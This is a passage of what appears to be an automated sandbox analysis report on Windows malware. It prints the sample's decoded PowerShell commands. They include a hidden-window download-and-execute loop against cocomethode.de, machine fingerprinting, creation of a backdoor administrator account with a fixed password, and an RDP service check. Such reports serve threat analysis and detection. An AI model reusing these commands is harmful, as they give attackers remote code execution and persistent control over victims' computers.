Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: powershell.exe, 00000010.00000002.290488209939.000001D784C6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000010.00000002.291001376614.000001D7940C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
Source: powershell.exe, 00000010.00000002.290488209939.000001D784C6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: powershell.exe, 00000010.00000002.291076631092.000001D79C397000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&/
Source: powershell.exe, 00000004.00000002.290371725375.00000236C0C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: powershell.exe, 00000008.00000002.290205784150.000001A1209DD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514450969.000001ABCCA13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000010.00000002.290488209939.000001D784C6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svczHost.exe, 00000015.00000002.291509143695.0000026D56682000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\svczHost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENCOdinG]::UTF8.GEtSTrING((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9aZA==")))).CONtENt))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENCOdinG]::UTF8.GEtSTrING((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9aZA==")))).CONtENt))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE80.tmp" "c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIA